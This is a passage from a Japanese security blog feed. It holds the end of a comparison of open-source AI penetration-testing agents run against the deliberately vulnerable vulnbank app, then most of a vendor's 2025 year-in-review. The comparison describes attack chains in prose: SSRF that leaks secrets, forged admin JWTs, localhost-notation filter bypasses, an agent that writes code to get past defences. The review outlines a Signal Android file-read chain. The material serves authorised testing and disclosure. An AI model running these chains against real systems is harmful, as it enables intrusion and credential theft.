&lt;p&gt;&lt;strong&gt;マルチモデルとローカル実行&lt;/strong&gt;：Gemini、Claude、GPTを含む幅広いLLMプロバイダーと連携し、LM StudioとOllamaをネイティブにサポートしているため、完全にローカルでプライベートな実行が可能です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ツールの自動オーケストレーション&lt;/strong&gt;：Nmap、Metasploit、Nucleiなどの外部セキュリティツールを連鎖させ、AIエージェントが複雑な偵察と悪用のワークフローを自律的に管理できるようにします。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;脆弱性の検証とインテリジェンス&lt;/strong&gt;：単純なスキャンにとどまらず、OSINTコレクターとDNS列挙ツールを組み込んでおり、ターゲットの情報を収集して、ラテラルムーブメントと永続化のテストを実行します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;高精度なレポートとガードレール&lt;/strong&gt;：プロフェッショナルな結果を得るために、構造化されたHTMLとJSONのレポートを生成し、グラウンディングと自己反省の手法を用いてAIのハルシネーションと誤検知（フォールスポジティブ）を最小限に抑えます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NeuroSploit&lt;/strong&gt;は初期化中の問題により正常に起動できず、テストの実行や意味のある結果を得ることができませんでした。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="8. deadend cli"&gt;8. Deadend CLI&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Deadend CLI&lt;/strong&gt;は、&lt;strong&gt;自己修正&lt;/strong&gt;によってセキュリティ上のブロックを乗り越えるペンテスト用の自律型エージェントです。従来型の攻撃が失敗すると、エージェントは&lt;strong&gt;エラーレスポンスを読み取って&lt;/strong&gt;どのような防御が働いているかを把握し、それを回避するための&lt;strong&gt;独自のPythonコードを書きます&lt;/strong&gt;。行動と学習を繰り返すこのサイクルにより、ターゲットへの侵入に成功するまで、リアルタイムで戦術を進化させます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Deadend CLI&lt;/strong&gt;は、ローカルで自律的なWebペンテストを可能にするための、特定のアーキテクチャ上の機能を活用しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ローカル実行&lt;/strong&gt;：クラウドへの依存なしにローカルのインフラストラクチャ上で完全に動作するため、セキュリティ評価中のデータ持ち出しはゼロです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;柔軟なLLMサポート&lt;/strong&gt;：特定のプロバイダーに縛られることなく、展開可能なあらゆる大規模言語モデルと互換性を持つように設計されています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サンドボックス化されたツール連携&lt;/strong&gt;：Playwright、Docker、WebAssemblyを含む独自のサンドボックス環境を利用して、テストツールを安全に実行します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スーパーバイザーとサブエージェントの設計&lt;/strong&gt;：シンプルな階層構造を採用しており、&lt;strong&gt;「スーパーバイザー」AI&lt;/strong&gt;が全体像を管理し、&lt;strong&gt;「サブエージェント」&lt;/strong&gt;に具体的な作業を割り当てます。これにより複雑なタスクが整理され、適切なAIが適切なタイミングで適切な作業を担うようになります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;スマートな意思決定&lt;/strong&gt;：AIは単に推測するのではなく、&lt;strong&gt;「信頼度フィルター」&lt;/strong&gt;を使います。行動を起こす前に、成功をどの程度確信しているかを確認します。そのスコアに応じて、先に進むか（緑）、別のアプローチを試すか（黄）、立ち止まって事実を再確認するか（赤）を判断します。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Deadend CLIを&lt;strong&gt;Gemini&lt;/strong&gt;を使うように設定したにもかかわらず、ツールは&lt;strong&gt;OpenAI&lt;/strong&gt;プロバイダーを使い続けました。OpenAIは設定していなかったため実行は失敗し、&lt;strong&gt;テスト対象&lt;/strong&gt;に対してツールを有効に使うことができませんでした。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="9. redamon"&gt;9. RedAmon&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;RedAmon&lt;/strong&gt;は、偵察、悪用、&lt;strong&gt;ポストエクスプロイト&lt;/strong&gt;を一つの自律型パイプラインに連鎖させる、&lt;strong&gt;オープンソースでセルフホスト型のAIペンテストフレームワーク&lt;/strong&gt;です。ポストエクスプロイトとは、攻撃者が侵入した後に行う行為のことで、さらなる権限の獲得や、同じネットワーク上の他のマシンへの到達などが含まれます。&lt;/p&gt;
&lt;p&gt;ターゲットのアタックサーフェスを&lt;strong&gt;グラフデータベース（Neo4j）&lt;/strong&gt;にマッピングし、隔離された&lt;strong&gt;Docker&lt;/strong&gt;コンテナ内でセキュリティスキャナーを並列に実行して、AIエージェントで検出結果を検証します。&lt;/p&gt;
&lt;p&gt;さらに、このリストにある大半のツールよりも一歩踏み込んでいます。修復エンジンの&lt;strong&gt;CypherFix&lt;/strong&gt;を通じて、コードの修正を書き、ターゲットのリポジトリに直接&lt;strong&gt;プルリクエスト&lt;/strong&gt;を作成できます。自律的なフェーズの間には、人間による承認のゲートが置かれています。&lt;/p&gt;
&lt;p&gt;ホスト側の前提条件はDockerだけです。フレームワークは&lt;code&gt;./redamon.sh install&lt;/code&gt;コマンド一つでインストールでき、約4 GBのRAMと80 GBのディスクを必要とします。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;主な機能：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;アタックサーフェスグラフ&lt;/strong&gt;：RedAmonはターゲットをNeo4jのナレッジグラフにマッピングするため、エージェントは検出結果を個別に扱うのではなく、ホスト、サービス、脆弱性の間の関係をもとに推論できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;並列化された偵察パイプライン&lt;/strong&gt;：GVM/OpenVASによる脆弱性スキャンを含む40以上の統合セキュリティツールをファンアウト/ファンインのパターンで連携させます。すべてコンテナ内で動作するため、ホストには何もインストールされません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AIエージェントオーケストレーター&lt;/strong&gt;：LangGraphベースのオーケストレーターが、情報収集、悪用、ポストエクスプロイトの各段階にわたるフェーズベースの実行を進め、フェーズ間には人間による承認のゲートを設けています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CypherFix修復エンジン&lt;/strong&gt;：検出にとどまらず、RedAmonは各検出結果をトリアージし、コードの修正を生成して、接続されたリポジトリにプルリクエストを作成することで、ワークフローを修復まで拡張します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;柔軟なLLMサポート&lt;/strong&gt;：&lt;strong&gt;Ollama&lt;/strong&gt;によるローカルモデル、またはOpenAI、Anthropic、AWS Bedrockなどのクラウドプロバイダーで動作し、プロジェクトごとに幅広いモデルを選択できます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;セルフホスト型でコンテナ化&lt;/strong&gt;：スタック全体がDockerを通じて自社のインフラストラクチャ上で動作するため、評価データはローカルに保たれます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="RedAmonの攻撃チェーングラフのスクリーンショット" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_01_30_8_open_source_ai_pentest_tools/redamon-graph.png" title="RedAmonの攻撃チェーングラフ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;RedAmonの攻撃チェーングラフ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;当社はRedAmonを、公開サイトではなく、vulnbank.orgの基になっているオープンソースアプリケーションを&lt;strong&gt;ローカルにホストしたvulnbankのコピー&lt;/strong&gt;に対して実行しました。約14分間の自律的な偵察の後、エージェントは次のような複数の&lt;strong&gt;クリティカルな脆弱性&lt;/strong&gt;を特定しました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;エラーベースのデータ抽出によるSQLインジェクションを確認。最初の試行が失敗した際、エージェントは自らペイロードの解析を修正しました。&lt;/li&gt;
&lt;li&gt;プロフィール画像のアップロードにおける&lt;strong&gt;SSRF（サーバーサイドリクエストフォージェリ。攻撃者が選んだURLをサーバーに取得させる攻撃）&lt;/strong&gt;。内部専用のエンドポイントへの到達に使われ、JWTの署名シークレット、Flaskのシークレットキー、データベースの認証情報が漏えいしました。&lt;/li&gt;
&lt;li&gt;管理者トークンの偽造：漏えいしたシークレットを使い、エージェントは自ら&lt;strong&gt;JWT（ログイン済みユーザーを識別するためにアプリが使うトークン）&lt;/strong&gt;に管理者として署名し、新しい管理者アカウントを作成しました。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;127.1&lt;/code&gt;や16進表記など、localhostアドレスの別表記を使ったSSRFフィルターのバイパス&lt;/li&gt;
&lt;li&gt;すべてのAPIエンドポイントを記述したOpenAPI仕様の露出。エージェントはこれを使ってエクスプロイトチェーンを構築しました。&lt;/li&gt;
&lt;li&gt;アカウントの内部情報を漏えいし、レスポンスで認証情報をそのまま返す登録エンドポイント&lt;/li&gt;
&lt;li&gt;漏えいした内部設定を通じた、デバッグモードの有効化とレート制限設定の開示&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;各検出結果は、HTTPのエビデンスと信頼度スコアとともにグラフに保存され、個別に列挙されるのではなく、攻撃経路の中に結び付けられます。&lt;/p&gt;
&lt;h2 id="この比較の限界"&gt;この比較の限界&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;オープンソースプロジェクトは急速に変化します。GitHubの指標、機能、ドキュメント、セットアップ時の挙動は、2026年10月6日以降に変わっている可能性があります。&lt;/li&gt;
&lt;li&gt;実地テストの結果は、意図的に脆弱に作られた単一のアプリケーションであるvulnbank.orgに対するテストから得られたものです。独立したベンチマークではなく、他のターゲット、LLMプロバイダー、ツールのバージョンでは結果が異なる場合があります。&lt;/li&gt;
&lt;li&gt;RedAmonは公開サイトのvulnbank.orgではなく、同じアプリケーションをローカルにホストしたコピーに対してテストしたため、他のテスト中に公開サイトで発生した可用性の問題の影響を受けていません。&lt;/li&gt;
&lt;li&gt;セットアップと実行の失敗は、本記事のためにテスト時点で試した設定を反映したものであり、今後のリリースや別の設定では解消される可能性があります。&lt;/li&gt;
&lt;li&gt;HexStrike AIとNebulaは、上記の各セクションで説明したとおり、自律型のテスターとしては実行していません。&lt;/li&gt;
&lt;li&gt;ツールを選ぶ前に、各プロジェクトのリポジトリとドキュメントで現在の機能を確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;当社は&lt;strong&gt;9つのオープンソースAIペンテストツール&lt;/strong&gt;を比較し、&lt;strong&gt;銀行のWebアプリケーション（vulnbank.org）&lt;/strong&gt;に対して実行して、その有効性を評価しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Strix&lt;/strong&gt;と&lt;strong&gt;Cybersecurity AI (CAI)&lt;/strong&gt;は実用的な結果を出し、SQLインジェクション、認証バイパス、安全でないオブジェクト参照などのクリティカルな脆弱性を確認して、概念実証のエクスプロイトを生成しました。ただし、&lt;strong&gt;CAIはその後アーカイブされており&lt;/strong&gt;、現在は積極的にメンテナンスされていない点に注意してください。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RedAmon&lt;/strong&gt;は、今回のツールの中で最も深い結果を出しました。エージェントは複数の弱点を連鎖させて一つの攻撃にまとめました。SSRFでアプリのシークレットを漏えいさせ、それを使って管理者トークンを偽造し、自身の管理者アカウントを作成したのです。SQLインジェクションも確認しました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PentestGPT&lt;/strong&gt;、&lt;strong&gt;PentAGI&lt;/strong&gt;、&lt;strong&gt;NeuroSploit&lt;/strong&gt;、&lt;strong&gt;Deadend CLI&lt;/strong&gt;は、初期化の失敗、データベースのエラー、LLMプロバイダーの設定ミスなど、セットアップや実行の問題に直面し、テストを有効に完了できませんでした。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;HexStrike AI&lt;/strong&gt;はMCPサーバーとして機能するため、テストをオーケストレーションするには互換性のあるAIクライアントが必要です。一方、&lt;strong&gt;Nebula&lt;/strong&gt;はAI支援型のターミナルツールとして動作し、ガイダンスや次のステップの提案によって人間主導のテストを支援しますが、自律的には動作しません。&lt;/p&gt;
&lt;p&gt;全体として、当社のテストで最も優れた結果を出したのは&lt;strong&gt;Strix&lt;/strong&gt;と&lt;strong&gt;RedAmon&lt;/strong&gt;でした。RedAmonは約4 GBのRAMと80 GBのディスクを必要とし、展開が最も重いツールですが、CypherFixを通じて修正のプルリクエストを作成するところまで踏み込むのは、ここで紹介したツールの中でRedAmonだけです。&lt;strong&gt;CAI&lt;/strong&gt;も当社のテストでは優れた結果を出しましたが、その後アーカイブされているため、新たに導入する場合は、積極的にメンテナンスされている代替ツールと比較検討する必要があります。その他のツールも、環境やセットアップに応じて、研究、実験、支援型のワークフローに引き続き役立ちます。&lt;/p&gt;</content><category term="Security"/><category term="security"/><category term="open-source"/><category term="AI"/><category term="pentest"/></entry><entry><title>Ostorlab 2025年の振り返り</title><link href="https://blog.ostorlab.co/ja/ostorlab-2025-year-in-review.html" rel="alternate"/><published>2026-01-28T16:20:00+01:00</published><updated>2026-01-28T16:20:00+01:00</updated><author><name>Manal Samir</name></author><id>tag:blog.ostorlab.co,2026-01-28:/ja/ostorlab-2025-year-in-review.html</id><summary type="html">&lt;p&gt;2025年は、サイバーセキュリティにおけるAIが実験的なプロトタイプから本番レベルのエンジンへと移行した転換点でした。この振り返りでは、OstorlabのAI Pentest EngineとAI Monkey Testerが、Signal for Androidにおける複雑な任意ファイル読み取りのチェーンをはじめ、実環境でクリティカルな脆弱性をすでに明らかにしている様子を紹介します。世界の銀行のリスクのマッピングからOXO Titanによるスキャンのオーケストレーションまで、自動セキュリティテストで実際に何ができるかを再定義した1年を振り返ります。&lt;/p&gt;</summary><content type="html">&lt;h1 id="ostorlab 2025年の振り返り"&gt;&lt;strong&gt;Ostorlab 2025年の振り返り&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;2025年は、Ostorlabで「多くの」アイデアを実践に移した年でした。AIは実験やプロトタイプの段階から、実際のテストを実行し、実際の自動化を推進し、本番レベルのシステムにおける実際の問題を明らかにするエンジンへと移行しました。&lt;/p&gt;
&lt;p&gt;同時に、当社の焦点は、個別の機能を構築することから、それらをどう連携させるかに取り組むことへと進化し続けました。当社は3つの領域に並行して投資しました。&lt;/p&gt;
&lt;p&gt;主要なコンポーネントには、AI Pentest Engine、AI Monkey Tester、そしてワークフロー連携のためのTicket Aggregationがあります。分析の対象は、モバイルバンキングのリスク、アタックサーフェス検出、プライバシーに関する振る舞い、そしてSignal Androidのチェーンのようなケーススタディにまで及びます。インフラストラクチャは、オーケストレーションのための&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;と&lt;a href="https://github.com/Ostorlab/oxotitan"&gt;OXO Titan&lt;/a&gt;、そしてオープンなエージェントとベンチマークのエコシステムで構成されています。&lt;/p&gt;
&lt;p&gt;以降のセクションでは、これらの取り組みがこの数年でどのように一つにまとまってきたかを紹介します。&lt;/p&gt;
&lt;h2 id="ai pentest engine"&gt;&lt;strong&gt;AI Pentest Engine&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;好むと好まざるとにかかわらず、AIはさまざまな業界を変えつつあり、何十年も続いてきたプロセス、ツール、プラットフォームを作り変えています。セキュリティテストも例外ではありません。LLMの登場、エージェント型AIの進化、そしてツール呼び出しは、これまで不可能だった、あるいは途方もない人的リソースを必要としていた扉を開きつつあります。&lt;/p&gt;
&lt;p&gt;脆弱性スキャンも、人間が主導する手動のペンテストも、今後数年で根本的に作り変えられつつあり、これからもそうなっていくでしょう。&lt;/p&gt;
&lt;p&gt;この信念のもとでAI Pentest Engineは始まり、2025年12月に最初のバージョンをリリースしました。すでに卓越した能力を示していますが、同時に将来の大きな可能性も示しています。2026年は、Ostorlabが地球上で最も先進的なモバイルセキュリティテストプラットフォームとなるべきものに照準を定める年です。以上です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="画像2" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_10_27_ai_engine_how_it_works/image13.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ticket aggregationと自動化"&gt;&lt;strong&gt;Ticket Aggregationと自動化&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/changelog-2025-02-20-february.html"&gt;Ticket Aggregation v2&lt;/a&gt;は、お客様からのフィードバックから生まれたものです。脆弱性管理のために設計されたチケットシステムで、小規模な組織から非常に大規模な組織まで、どちらに合わせてもカスタマイズできます。&lt;/p&gt;
&lt;p&gt;当社は多くの時間をかけてチームの声に耳を傾け、議論を重ね、組織内で脆弱性をどのように管理しているかを調べました。アプリ単位でまとめるチームもあれば、アセット単位、あるいは根本原因や環境単位でまとめるチームもありました。Ticket Aggregation v2：あるユーザーが、自社のフローでは脆弱性をプラットフォーム単位でまとめているが、開発環境、本番環境、テスト環境のすべてがあり、本番環境で修正されて初めて修正済みとみなすべきなので、手作業で対応しなければならないと説明してくれたとします。そのフローは完全に自動化されていて、何もする必要はなく、本番環境で修正されたバグを検出し、開発環境から追跡できると伝えたときの彼らの表情を想像してみてください。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="privacy_scan" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_28_ostorlab_year_in_review/application_groups.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="ai monkey tester"&gt;&lt;strong&gt;AI Monkey Tester&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/ai-monkey-tester.html"&gt;Monkey Tester&lt;/a&gt;の歩みは、Ostorlabの初期から始まりました。その目標は、あらゆるフレームワークのあらゆるユースケースについて、アプリケーションの操作を自動化することです。&lt;/p&gt;
&lt;p&gt;時間とともにカスタマイズ可能にする必要が生じました。当初はAppiumスクリプトから始めましたが、それらは壊れやすく、遅く、UIのわずかな変更のたびに動かなくなり、さらに複雑なUIでは実装することすら不可能でした。&lt;/p&gt;
&lt;p&gt;AI Monkey Testerはこれらすべてを解決しました。複雑なUIについて推論し、テスト用のプロンプトを使ってCI/CDから、文字どおりあらゆる場所で高度な自動化を実現しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Monkey Tester" class="img-fluid" src="https://blog.ostorlab.co/static/img/2025_08_01_ai_monkeytester_prompt_based/search_product.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="チームが成長した年"&gt;&lt;strong&gt;チームが成長した年&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2025年は、Ostorlabの内部でも違った手応えのある年でした。単に人数を増やしただけではありません。多様な個性、経歴、意見を持つ新しいメンバーを迎え入れました。チームはエンジニアリング、リサーチ、プロダクト、マーケティングの各分野で成長し、それが日々の雰囲気を何よりも大きく変えました。&lt;/p&gt;
&lt;p&gt;とはいえ、成長するチームには新たな課題がつきものであり、その中には今なお取り組んでいるものもあります。それでも、会社にとって最初の顧客はそのメンバーであるという当社の強い信念は、より確かなものになりました。聡明で才能があり、献身的な人材を確実に迎え入れることは、すべてのお客様に並外れた卓越性をもって真に貢献しようと努力し続けるうえで、引き続き当社の最優先事項です。&lt;/p&gt;
&lt;h2 id="モバイルバンキングセキュリティレポート2025"&gt;&lt;strong&gt;モバイルバンキングセキュリティレポート2025&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2025年、当社は自社のエンジンを使って実世界のリスクを評価しました。主な成果の一つが「&lt;a href="https://blog.ostorlab.co/banking-report-2025.html?utm_source=linkedin&amp;amp;utm_medium=paid&amp;amp;utm_campaign=banking_rep"&gt;Banking Report 2025: Security at the Core of Mobile Finance&lt;/a&gt;」です。これは、モバイルバンキングアプリが自動テストのもとでどのように振る舞うかを詳しく調べたものです。&lt;/p&gt;
&lt;p&gt;この調査では、世界のトップクラスのモバイルバンキングアプリ500以上を分析しました。クライアントサイドとサーバーサイドの両方の露出、コードベースと依存関係の古さと健全性、そしてバックエンドのインフラストラクチャが金融機関の間でどの程度共有、集約、再利用されているかを調べました。&lt;/p&gt;
&lt;p&gt;金融取引や機密データを扱うコンポーネントで繰り返し発生する脆弱性が見つかったほか、日常的に使われている銀行アプリに古いコードや依存関係が存在することも判明しました。&lt;/p&gt;
&lt;p&gt;このレポートは、プラットフォームのいくつかの機能を組み合わせて作成されました。Monkey Testerによるフローを含むモバイルの静的解析と動的解析により、クライアントサイドの欠陥と操作経路を明らかにします。Attack SurfaceとThreat Centerによるバックエンドの偵察、フィンガープリンティング、CVEの照合により、サーバーサイドの脆弱なサービスや古いコンポーネントをマッピングします。&lt;/p&gt;
&lt;div style="position: relative; width: 100%; height: 800px; border: 1px solid #ddd; border-radius: 8px; overflow: hidden; margin: 20px 0;"&gt;
&lt;iframe height="100%" src="/static/files/banking_report_2025.pdf" style="border: none;" title="Banking Report 2025 - PDF全文" width="100%"&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;レポート全文のダウンロードはこちら：&lt;/strong&gt;&lt;a href="/static/files/banking_report_2025.pdf"&gt;Banking Report 2025 PDF&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="aiで自動化されたアタックサーフェスと脅威主導の検出"&gt;&lt;strong&gt;AIで自動化されたアタックサーフェスと脅威主導の検出&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2025年、当社はアタックサーフェス管理において、特定時点のグラフや静的な表から、AI支援型の検出と脅威主導の検出へと切り替えることに注力しました。目標は、手作業によるアセットの整理を減らし、検出のカバレッジを向上させることでした。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://docs.ostorlab.co/attacksurface/automated_discovery.html"&gt;AI-Automated Attack Surface&lt;/a&gt;機能では、「Microsoftとその買収企業をすべて見つける」といった依頼のように、プロンプトを使って検出の起点を与えることができます。するとシステムは、ドメイン、サブドメイン、クラウドリソース、モバイルアプリ、SaaSの各サーフェスを含む候補セットを生成します。&lt;/p&gt;
&lt;p&gt;並行して、Threat Centerの開発も続けました。最初のリリースでは、リスクの高いCVEを自社のアセットにマッピングするUIを導入しました。2025年には、自社の環境に影響するCVEに絞り込むフィルタリング機能を追加し、新たに悪用された脆弱性や更新されたフィンガープリントでシステムを継続的に拡充しました。これらは、Ivanti、CrushFTP、Craft CMS、Cisco ISE、Fortinet、Next.jsなどの製品の問題をカバーしています。&lt;/p&gt;
&lt;p&gt;OstorlabのAI-Automated Attack SurfaceとThreat Centerを組み合わせることで、現在の悪用活動を踏まえたインベントリが得られます。検出、情報の拡充、スキャンの振り分けが、攻撃者が実際に使っているものと結び付けられます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="privacy_scan" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_28_ostorlab_year_in_review/ai_attack_surface.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="第一級のテストプロファイルとしてのプライバシー"&gt;&lt;strong&gt;第一級のテストプロファイルとしてのプライバシー&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;世界中で規制が厳しくなる中、2025年はプライバシーがOstorlabの主要なスキャンタイプとなった年でした。プライバシーは時折行うチェックから、チームが定期的な評価に組み込めるプロファイルへと変わりました。&lt;/p&gt;
&lt;p&gt;当社は、表明されたポリシーと実際の振る舞いの両方を評価するプライバシープロファイルシステムを開発しました。HTMLまたはPDF形式のプライバシーポリシーを、GDPR、CCPA、CPRA、HIPAA、LGPDなどの規制に照らして処理します。さらに、アプリのリクエストと送信内容、すなわち権限、組み込まれたSDK、データ収集API、ネットワークトラフィック、サードパーティのデータ受信者を監視し、これら2つの視点を比較することでプライバシーリスクを特定します。&lt;/p&gt;
&lt;p&gt;その後のバージョンでは、&lt;a href="https://ostorlab.co/product/privacy"&gt;Privacy Compliance Testing&lt;/a&gt;を強化してより幅広い種類のアセットに対応させ、生体情報、金融データ、位置情報の履歴、メディアの利用状況、閲覧パターンなど、20種類以上の個人データや機密データを含む広範なデータカテゴリのモデルを導入しました。検出結果は、ポリシーとアプリケーションのトレースの両方から得られる詳細なエビデンスに裏付けられ、レポートはCCPA、CNIL、MASVSなどの基準に直接対応しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="privacy_scan" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_28_ostorlab_year_in_review/privacy.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="signal androidにおける任意ファイル読み取りの脆弱性チェーン"&gt;&lt;strong&gt;Signal Androidにおける任意ファイル読み取りの脆弱性チェーン&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;新機能の構築と並行して、当社は広く使われているアプリの調査を続け、複雑でセキュリティ上重要な対象に対して自社のツールを検証しました。2025年の主要なケーススタディの一つが、複数の問題を組み合わせて任意ファイル読み取りに至る、&lt;a href="https://blog.ostorlab.co/signal-arbitrary-file-read.html"&gt;Signal for Androidに対する多段階の攻撃チェーン&lt;/a&gt;です。&lt;/p&gt;
&lt;p&gt;自動分析プラットフォームを使用して、いくつかの弱点が特定されました。その一つがBlobContentProviderのパストラバーサルのバグで、細工したURIによってSignalのプライベートストレージ内の場所にアクセスできるものでした。さらに、ShareActivityのファイル読み取りの問題により、file:// URIを含むACTION_SEND_MULTIPLEインテントが検証をバイパスでき、内部ファイルがSignalのblobストレージに露出しました。Android SDKにおけるfile:// URIとMIMEタイプ解決の扱いによって、これらの内部ファイルはプラットフォームのチェックとSignalのタイプフィルターの両方を回避することも可能になっていました。&lt;/p&gt;
&lt;p&gt;このケーススタディは、パストラバーサル、MIMEの混同、検証の抜けが重大なエクスプロイトにつながり得ることを示し、多層防御の仕組みの重要性を強調しています。Signalが多層暗号化とAndroid Keystoreを使用していたことは、アカウント乗っ取りの防止と、開示後の迅速な対応に役立ちました。また、ファイルURIとディスクリプターの振る舞いに関するAndroid SDKの設計上の欠陥も特定されました。これはほかのアプリケーションにも影響するものであり、ファイルとURIの管理戦略の改善につながります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostirlab_signal_research" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_28_ostorlab_year_in_review/ostorlab_signal_research.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="oxoエコシステム:oxo v1、oxo titan、オープンなエージェントストア"&gt;&lt;strong&gt;OXOエコシステム：OXO v1、OXO Titan、オープンなエージェントストア&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;2025年には、スキャン、エージェント、AIワークフローをつなぐコネクターとして機能する&lt;a href="https://github.com/Ostorlab/oxo"&gt;OXO&lt;/a&gt;オーケストレーションレイヤーが強化されました。OXO v1.0のリリースでは、スキャン処理が大幅に最適化され、起動時間が約16.5秒に短縮されたほか、主要なオペレーティングシステム向けのスタンドアロンバイナリがARM64互換でサポートされました。&lt;/p&gt;
&lt;p&gt;YAMLによる複数アセットのオーケストレーションが可能になり、公開エージェントストアが提供され、コマンドラインの使い勝手が向上しています。オープンソースのエンジンと並んで、OXO Titanは各種フローをローカルで実行するためのグラフィカルインターフェースを提供し、コンプライアンスとスケーラビリティのニーズに応えます。&lt;/p&gt;
&lt;p&gt;エコシステムはNebulaなどのエージェントによって拡大し、さまざまな領域で脆弱性の検出を強化しています。OstorlabはAI PentestをCIパイプラインに組み込むための柔軟なプラットフォームを提供し、オーケストレーションとAIのロジックを維持しながらオンプレミスでの実行を可能にします。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlab_oxo" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_1_28_ostorlab_year_in_review/ostorlab_oxo.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;これらを総合すると、1年前よりも幅広く、より連携したプラットフォームの姿が見えてきます。&lt;/p&gt;
&lt;p&gt;AIは今や、ペンテストにおけるアセットの検出、脅威の優先順位付け、対応可能な検出結果に影響を与えています。実用的な応用に関する研究によって脆弱性に関するツールの推論が強化され、プライバシーには新たな専用プロファイルが加わりました。&lt;/p&gt;
&lt;p&gt;取り組みは続いています。2025年にチームが成長したことで、これらの機能の構築とレビューの方法が変わり、それらをテストして出荷する際に求める水準も引き上げられました。&lt;/p&gt;
&lt;p&gt;とはいえ、方向性は明確です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;役立つところでは、さらなる自動化を&lt;/li&gt;
&lt;li&gt;あらゆる検出結果に、より多くのコンテキストを&lt;/li&gt;
